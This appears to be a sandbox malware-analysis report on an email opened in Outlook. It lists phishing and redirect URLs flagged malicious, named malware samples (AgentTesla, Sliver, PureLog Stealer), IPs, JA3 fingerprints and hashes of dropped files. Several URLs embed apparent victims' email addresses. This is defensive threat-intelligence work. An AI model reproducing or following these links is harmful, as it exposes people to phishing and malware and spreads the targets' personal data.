	https://vk.com/away.php?to=https://mm-00.com/1/pf8m-nqatva-4uipll/zzeiryqk/tlgwwe/?userid=bW5ld3RvbkBzZWEuc2Ftc3VuZy5jb20=	Get hash	malicious	HTMLPhisher	Browse	93.186.225.194
	https://lnkd.in/e2g6D9Pb	Get hash	malicious	Unknown	Browse	87.240.137.164
	https://vk.com/%61%77%61%79.php?profile=hjujhy&to=https%3A%2F%2Fwww.youtube.com%2Fredirect%3Fq%3Draybpms.com/nnn/pruddock@lansdownepartners.com	Get hash	malicious	HTMLPhisher	Browse	93.186.225.194
	http://vk.com/away.php?to=https://harbourbaypartyrental.com/new/auth/miujub/amVubmEubWNjb3lAZGV2cnkuZWR1	Get hash	malicious	Unknown	Browse	93.186.225.194
	https://lnkd.in/e2g6D9Pb	Get hash	malicious	Unknown	Browse	87.240.132.78
	https://vk.com/away.php?to=https://republicagastropub.com.br%2Fcss%2Fadmine%2F748394%2F%2F%2F%2FZWt1bWlhbkBqaGhjLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	87.240.129.133
	https://94o18.vk.com/away.php?to=https%3A%2F%2Fexilien.my%2F%3Fq%3D687474703a2f2f3638725442736d37692e726570756573746f6761732e636f6d2f5a48646c626d3570626d6441596d4e336232396b63484a766347567964476c6c6379356a6232303d	Get hash	malicious	HTMLPhisher	Browse	87.240.132.78
nam10.safelinks.protection.outlook.com	RE.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.55.28
	RE_.msg	Get hash	malicious	Unknown	Browse	104.47.55.28
	https://nam10.safelinks.protection.outlook.com/ap/b-59584e83/?url=https%3A%2F%2Fsteffeshradvantage.sharepoint.com%2F%3Ab%3A%2Fg%2FETIjdrpSudZGtiSDo79buUwBzFanYCzjnGrCYMAA6-Y-WA%3Fe%3DMBPpYi&data=05%7C02%7Cbosswald%40shepherdins.com%7Cf7b19a236f0e42b3e7b308dc388f42fa%7C477490bc27c740588693f7906a9906d3%7C0%7C0%7C638447435155826970%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=JNCJG%2B78oUblJ8v59lDP5k9ZpktmZTq%2BniNYJvZaGdM%3D&reserved=0	Get hash	malicious	Unknown	Browse	104.47.70.28
	FW_.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.58.28
	re.msg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.47.58.28
	Complete_ Please review and sign your document !.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.47.58.28
	DLWTF Utility Water Main - 100% DESIGN.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.55.28
	f4091d8e-d0cb-93f5-b9d4-8b61d85985d3.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.58.28
	Kristen Puckett shared _knoxdermplastics#Remittance_Notice_pdf_ with you.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.55.28
	email (2).eml	Get hash	malicious	HTMLPhisher	Browse	104.47.58.28
part-0041.t-0009.t-msedge.net	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	http://ustteam.com/	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.213.69
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://cfinlaysons-website.mypagecloud.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	http://clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.213.69
	https://u43957641.ct.sendgrid.net/ls/click?upn=u001.0Q2k6Tkbkoom04JcBCS1bnTFkzW4mU5Ezcfq62d9vtUuGINn2USsIB9YeV8x8Iu5W4FDLy6-2BKqjhTiUn-2FaQ-2BGrq3T-2BGqBAqLUber59up15w-3DVs4O_FXZTG-2Bj8dxNvEuxDJrPqKA8uB9LHQ48OflWnDl8SlkOTiwSdc-2B-2FgPjdAADTWcv8L3HqMFwOmerkXzjwDhJNFd4Lcft0pVsCjftrr0YIbR0wkdFwlzs0ZE-2BrvH4L4d9bI0UMEtu3I1uFXu2qk2Z9Vv-2BQYvTg83dp-2BaElfQAIu9sqQ8XL3xmmPpa4O2GrYCGQ5LVUy-2Feb-2F2iTllWjhAfn3PA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.246.69
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://www.maultalk.com/url.php?to=https://www.serserijeans.com/gdy9haBM2BM2Fe5rss3RhBM2i2Pdk17x0qvi2PFe5nnaai2PrpWO3rk17dy9s3RWO3BM2	Get hash	malicious	Unknown	Browse	13.107.213.69
	samradapps_datepicker_221114.xlam	Get hash	malicious	Unknown	Browse	13.107.246.69
prdia888eus0aks.mkt.dynamics.com	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://u44058082.ct.sendgrid.net/ls/click?upn=u001.wjMLvmoK1OC9dTKy5UL4VbqcIJmZWkGKJypB0ZF6j6rXk8HVnxe0g2af-2BenroUoONz6EEWthgE-2Bi2vVRUosKTZRVQ5v63hCdxrdKCztVooIv51imK8tr-2Bb3beAsH6u-2FNluJlUKmd7nST-2B9m-2Bl2Rgv4y6uHLimO0TjhZzZ-2F-2BDlllJQne3tT99z6x4W12pJpddTL-2BoJ2-2Bdo6961pFN3dV2Rg-3D-3DeWGT_h-2FW4DSvZGhKY-2FmU3Rq-2F3L-2FXo2OZSHdaVvlpgAgHQWDXPYB9CNYi-2FcvonFCbsEhjt9RP-2BQa7dTwbMJOOaP3JRnMW6mQAitl6qAb1EkaAR-2BmnZDE6Bi3ooqtCrrMW-2F3TPNMK3AVi1YKIdTOZivmUJGaXdrtbqCykfnTTkN9KMRy80rdRqf6LWUCYWGeeaXb-2BD6jokMbr-2FaJKvKMHDNWAfHyhaE6QO9pw7souFUseKb40g-3D	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://assets-usa.mkt.dynamics.com/6f8aa86c-81f8-ee11-a1fa-0022482e8338/digitalassets/standaloneforms/4b367e61-8601-ef11-a1fd-0022482f3701	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	infected.docx	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://assets-usa.mkt.dynamics.com/97c9a062-91f8-ee11-9048-6045bd00330f/digitalassets/standaloneforms/8ba5ff5d-a1f8-ee11-a1ff-6045bd006d62	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	52.146.76.30
	https://assets-usa.mkt.dynamics.com/dfec4c64-9df2-ee11-9048-6045bd016f3e/digitalassets/standaloneforms/692fca68-35f7-ee11-a1fd-6045bd098894#msdynmkt_trackingcontext=a1e2f77d-3fb4-4f9b-8447-219d31fdfcd9	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://assets-usa.mkt.dynamics.com/bf3ca3b9-47ed-ee11-9048-00224806e307/digitalassets/standaloneforms/0cb76a16-5df6-ee11-a1fd-6045bd0a59e1	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://s.id/24SUG	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://public-usa.mkt.dynamics.com/api/orgs/0a7d24a6-a2e7-ee11-a1fa-002248322327/r/85djMnaz5k2_HGmLS5k0kAIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-usa.mkt.dynamics.com%252F0a7d24a6-a2e7-ee11-a1fa-002248322327%252Fdigitalassets%252Fstandaloneforms%252Fd5658eee-30f1-ee11-904b-7c1e52025f1f%2523msdynmkt_trackingcontext%253Dd3b46fdd-71f2-4bc0-9b92-0eaf5108a2b7%22%2C%22RedirectOptions%22%3A%7B%220%22%3Anull%7D%7D&digest=9ns9FqC3ciHVGp41BMxX%2F1VLzVPpLkxeJ%2FU2sSDEuEY%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	http://ustteam.com/	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.213.69
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://cfinlaysons-website.mypagecloud.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	http://clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	40.76.174.66
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	http://ustteam.com/	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.213.69
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://cfinlaysons-website.mypagecloud.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	http://clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	40.76.174.66
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	http://ustteam.com/	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.213.69
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://cfinlaysons-website.mypagecloud.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	RUNNING_VEGETATION.exe	Get hash	malicious	Sliver	Browse	51.107.17.152
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	52.174.3.252
	http://clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	40.76.174.66

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://insidesales-email.com/l/1/17013047/Y/eus.p01-2019.10.02-460581/1/ab/4K6W-nzk0hr_GKydLIdUc0LK4HrUUeoMK4jMzee40WM?lnk=https://cd14fe4e.2690c0a545a7f22e8ae6844c.workers.dev/?qrc=barbara.rentler@ros.com	Get hash	malicious	HTMLPhisher	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Flookerstudio%2Egoogle%2Ecom%2Fs%2FscrHqwjeA3k&urlhash=dcQj&trk=public_profile-settings_topcard-website	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	http://p.ksrndkehqnwntyxlhgto.com	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	https://www.serserijeans.com/kdy9bFe5glari2Px0qak17sdy9nFe5k17	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	https://colmec.it/category/news	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	https://0_kid43983.inibara.eu/	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	http://ustteam.com/	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
	https://2h.ae/HWtB	Get hash	malicious	Unknown	Browse	20.190.190.195 23.202.57.177 20.114.59.183
6271f898ce5be7dd52b0fc260d0662b3	https://stake.libertariancounterpoint.com/+6N67YCBGYSfgUDfzZBWz4mBQM+X0RyGi80NjJ/FF4eJwViQ	Get hash	malicious	Unknown	Browse	13.107.21.200
	https://funcallback.com	Get hash	malicious	Unknown	Browse	13.107.21.200
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	13.107.21.200
	PO#0023298413.xls	Get hash	malicious	Unknown	Browse	13.107.21.200
	Ref_Order04.xls	Get hash	malicious	Unknown	Browse	13.107.21.200
	768.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.21.200
	Gam.xls	Get hash	malicious	Unknown	Browse	13.107.21.200
	szamla_sorszam_8472.xlsm	Get hash	malicious	Unknown	Browse	13.107.21.200
	https://secure.rightsignature.com/signers/72685de1-0891-4676-ba51-0639e8aac386/sign?identity_token=e9BkbAE3-a65UvyeRkxL	Get hash	malicious	HTMLPhisher	Browse	13.107.21.200
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9icm9kbWFuc2dkdG5wZ2VzZWMuY29tL0NrMTgwZG5RbkFPVmZJM0V3ZTZEUDdTWTBYR201dXR4TlhOMkVrTHZBUTFmVUZ2a0tOL2hvd2FyZC5zdGV5bkBsY2F0dGVydG9uLmNvbS9jTGJ2cUtyZ1l5d3dpMkpOM0NGYXdrdW5kSFp4amJBQ2R0RkhneHNS	Get hash	malicious	HTMLPhisher	Browse	13.107.21.200
3b5074b1b5d032e5620f69f9f700ff0e	Proforma Request.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	13.107.5.88
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	13.107.5.88
	https://colmec.it/category/news	Get hash	malicious	Unknown	Browse	13.107.5.88
	https://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	13.107.5.88
	EQxFL1u3m1.exe	Get hash	malicious	Quasar	Browse	13.107.5.88
	Mt#879161_YAT_ORER_AY27102_3017182_2LAP183.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.107.5.88
	http://stake.libertariancounterpoint.com	Get hash	malicious	Unknown	Browse	13.107.5.88
	https://stake.libertariancounterpoint.com/+6N67YCBGYSfgUDfzZBWz4mBQM+X0RyGi80NjJ/FF4eJwViQ	Get hash	malicious	Unknown	Browse	13.107.5.88
	Spare part list.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.5.88

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.386500757474311
Encrypted:	false
SSDEEP:	1536:YXdYLcnAgsZ5QmiRaDgv3+Xmgsy8NcAz79ysQqt2cQrokRqoQ6ircm0Fve+JUKyD:nrgT5vgomiGu29qoQfrt0Fvspz3dG5u3
MD5:	73164458C8322EE1CE2C7990D8DD184A
SHA1:	2EA8F326547DEA8B48071DE1EC481AC757D9230A
SHA-256:	B950422EDE7D0A5965EFF89A630134F3351B31C5E5ABDAE1CDEC758336E0B509
SHA-512:	D7559598B6D62947D88404182C4CF961C2407A84B13B3389AC6918DFA3A29424D1E4C9D4565CA56B7624AE35186CAA6249936469EBD230FC60A1DA5FDC8646B1
Malicious:	false
Reputation:	low
Preview:	TH02...... ....8M.......SM01X...,.....8M...........IPM.Activity...........h...............h............H..h\.o......".f...h........ x..H..h\tor ...AppD...h....0.....o....h.'0............h........_`fj...h. 0.@...I.+w...h....H...8.kj...0....T...............d.........2h...............k..............!h.............. h...i.....o...#h....8.........$h x......8....."h.{.......w....'h..............1h.'0.<.........0h....4....kj../h....h.....kjH..h.a..p...\.o...-h .........o...+h{&0.....P.o................. ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000.GwwMicrosoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.087778849880941
Encrypted:	false
SSDEEP:	48:cGc7dy7tdyr/tdnzymrkSyrVinzyGDSyX9JdycTdSy8fASyr1JnzyxAdyrfMnzyO:kExExd23bI2cb/EUdboAbX2aEQ2O
MD5:	3D53EC615C6F3F364A72049E5C71B654
SHA1:	517F5B46E7BE98DF05D04DBA8BEC7FBB9855025B
SHA-256:	BE77CE08880C33979EB4056D1FFEA8FA4AEB3E6BD8718A890DFE6D7A04269413
SHA-512:	17D9553E2903F4C44A404BAD5206C589E5388E3DFF97B992380403046DBA228DDE94DDFB2764407418B2FADBB400A770B6BADCCDC7FC53FF7BD38C4D57CD7C37
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-04-24T13:42:34Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2023-10-06T09:55:52Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:55:52Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215426</Id><LAT>2023-10-06T09:55:52Z</LAT><key>37262344671.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-06T09:55:52Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:55:52Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos_

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04571325397760245
Encrypted:	false
SSDEEP:	3:GtlxtjlRT2AUWbSPlxtjlRT2AUWbt7R9//8l1lvlll1lllwlvlllglbelDbllAlU:GtcAUWWPcAUWT9X01PH4l942wU
MD5:	16B25222B8B90F75F2BA787001798D8B
SHA1:	D59F2BFF0339AD888A77D946682E1844C8A6904D
SHA-256:	1AF8720994F0D2F527A96914259C639BB8DD0C331815B308B747F04F29D9DCBF
SHA-512:	0406BBEDAF74EED94074BF3965858A94D95125764BE0B75781E8BCE36A5967E30952586BA87390545370B0E5BEB7D60AD6D159A85D35A2A772D1E6BB354E5208
Malicious:	false
Reputation:	low
Preview:	..-........................nv....-.;...^.,.I......-........................nv....-.;...^.,.I............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	49472
Entropy (8bit):	0.4849466884854629
Encrypted:	false
SSDEEP:	24:KPvkQ3zRDABUll7DBtDi4kZERDYjXRzqt8VtbDBtDi4kZERDvBqt8VtbDBtDi4kC:ykQ1yUll7DYMGBzO8VFDYM7BO8VFDYML
MD5:	60BA6B8EE5A554204DAF2DE4DF8E517F
SHA1:	1B21775873237B9663CC991E8BF9A5A652589596
SHA-256:	7ED3F0CC00CE1891D6646B6F4971B93D100711A34A55DBD5A579B12728AAE7AE
SHA-512:	4D7EC61C8ECAF35DBBB2642D68649593586B1AAE00B05E0A1E79F07C5ED329042873CEAC54BF8B49399C8A4CF2557EDFC32A0AF7B2AA65C9459A42E7E6939420
Malicious:	false
Reputation:	low
Preview:	7....-...........-.;...^..0.&............-.;...^...?=...SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\48EBACDA.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 157 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12787
Entropy (8bit):	7.973228683107683
Encrypted:	false
SSDEEP:	384:IgqG9+IPo6V4Iw8nMdlIz31M3A+69LTXYuGxG/sCReF1Af:IgqJIPomw8ClyOl69PXcxTCN
MD5:	04A1050C51343290B5554448618BB54A
SHA1:	9CBF15AB146C4367D41E7BE4F5E2BF7D0316ED24
SHA-256:	B835A5260336678FCFA21F5D0EE338BD4401348FBFC44BEB2DFD4193FDCC4C38
SHA-512:	0704D188DED4A59B5AC25B1BB08380685D7AEF95ABF83BE783785D1170B6F9B1B96D9F65C241DA2E3E0BCF11AC3C3A6D2DB5B8C3D3B013E0061490DC12A3FA41
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......`......p.....sRGB........DeXIfMM........i...................................................`....e.....1]IDATx....Ue.._..[R.PJ..Q.Q.[..Q....E....F?.;.i...{.............w~..N.g.3.<3...G....<.$..>....@..A............./.6.......m...a......<y.+V8.+Y.@.>.............7.......w.YK6..K6.={...9.Q..q[X.\.W.P>W.xA...<.P...a......]...az-..<...$......&)..kM.~.s.[.n.[.b.[.yg...(W.\|.....\|ye.$(jP...K...\..T...k...Y.Xp...=.D\....Ny'3.mpcf.r?....[..._.......U...V..Y/>.r9.$..t...).....U[.u....{.=......^..X....s..Z>.[..E..Wr..P.iX1...._.J.....MM..........}..W.`>W[V.U].R.\.B.].2....l{.._..&)......M...q...fbS\....s........Wv7.......].q.......R.qR..W.-.w.....fu.j.+..,.c.... .7n.j...n.n..f...M.-...w.v.5=w>.....&.b....ik............\g......W.s.V-...O.6&._.....>....E,^$...$...4.z)...-......,c....].z...b......-.-X.^.z.._..{....c..^...\..pW.xh..n\.\|H.o.)4..2..XB0.b.v....n..?......7...w.,..A..s...:a..,..hZ.Z..Y.C..........k.\|........5.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7C20A313.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 176 x 44, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15077
Entropy (8bit):	7.9675433073275
Encrypted:	false
SSDEEP:	384:uSQeH/j2GDvF26BRqZx31nDpO0S7sxFsJKRoi4Zl9:uS5iGDtZBY31ndOWxe4S3L
MD5:	B42B68071FB5C14841538ED025BAFBAF
SHA1:	9136D843051E90331369D327BEBDB957FD70722C
SHA-256:	7AB149387D9ACF3713032870BB3388597B5CEC4A4A4F3F72BAA4423060E798EB
SHA-512:	FC77BA1B33A97DF26712A03DC072ED0AB3D32CE57DB02FED086FAC7F044BD27892E8D51641B71BF7196FA9BAE0F381788542ADE25AD61A7336C179852722D209
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,.......2f....sRGB........DeXIfMM........i...................................................,......g..:OIDATx.....]E.......}.$....@..$....MZ,.."....X......bAWqA.]..t.D@.H3..$!...z.}....wy......9s..f..+.9..!G_^...B.`\.D.R...b1..r...."^i.b./.&V...y^....r.\..I.].".eyO=q.y9.&..*=.x....5kl..l6k.L..A_EE...}.......iK&.V__/zJ.E..'..}O]........eH...\|....O>?B......B<...<.{..'....q..b..}..+....u....YM&od..,.@R..V.!i.Z....Th?.@...iU\YYiL.`.W9..!+.4..nh,...@K9....(B...o555VWW.1.:K{..y....<...X.}...JEy.>...K.!.b.........x"...<.6m....,1../1[D..Xy.}....![.rH...L..Q=..3........@.2.c.....I/..hn53..HC...-'1.}O..ys..u`.F.@2.#iE... ......!g........\....D....:U..".^...c..U5.S7.Ez..1..J..........WL.,.g.UO"ib...`......\|N.X" ...`.......#=\t.P...(.2:x.K......t......k+..<=.k.^W.....[V]....l.`.....Sz.....H......h..,&..L...H...)0..0...!.....w<....V....iL.{L.....s..yN....HZ....NB......,..v.%/....I:..j'..0D..Y...X...........-.S4.......^.P....6^.... ...z.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\ACA69AFD.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 540 x 116, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14524
Entropy (8bit):	7.927058006970246
Encrypted:	false
SSDEEP:	384:p2x1w1S3purY7QjMPsnB74Rc4hoduwvijPkE5v:pT1UcY7QgPsh4Rc4eduq8
MD5:	0122821D137EB638070CD1D496AE041F
SHA1:	F558F9DEBC14152CBA58238AFE51C94C16401C62
SHA-256:	B5F184D5302B4D9C60A8699E1ADF8AC11C58509E3DF3CBE5F738FD7E7AF2F358
SHA-512:	1C16B09EF0180C5701512B37E2D0BBE4A1C521DF5533EE4A13B9C34A222CB77369B2EC3BD9E2FFA61C2928B8FC33D1F58E56D8B39A0D1FAB6AF2F9C8508FAA91
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......t........b...BiCCPICC Profile..H..W.XS...[..@. .... "%...Z..E........vdQ...b.......#v....T..u.`W.$.t.W.w.o...?g.s..e....I$Y.:...<it..s\b.......H...<~..........n.nBoh...Z.....!....@"!N...!>..^.H.. .y..y.9..hIa../..4%....%.....@......'M..v...\|~...B.(......{gg.. N....H ..R~.I..f.&..6..sQ...(W.......[v.l0.%lj...h..a.ng....=....5!. .(.!F)..8.?j......;.PG..?.b....Y.a.\|J.(..1\!.4Q.7.b]...s.b.\|6Is..b.u.R.{.?...c=.e..._....... =6.b......p.i.;.f....)H...He....!.......X~.40z..$;wp..t.7\|...K..V..k.....`W.bv..0w\..\.B......8.f@.$./Z9..H."..qSaV..7..97?f`,.....R.O..E....2x!..\|.e .p.?`..l) .d.QkO}..R......4 .O.........c.(..B$..C....B....C..h.R.......).. 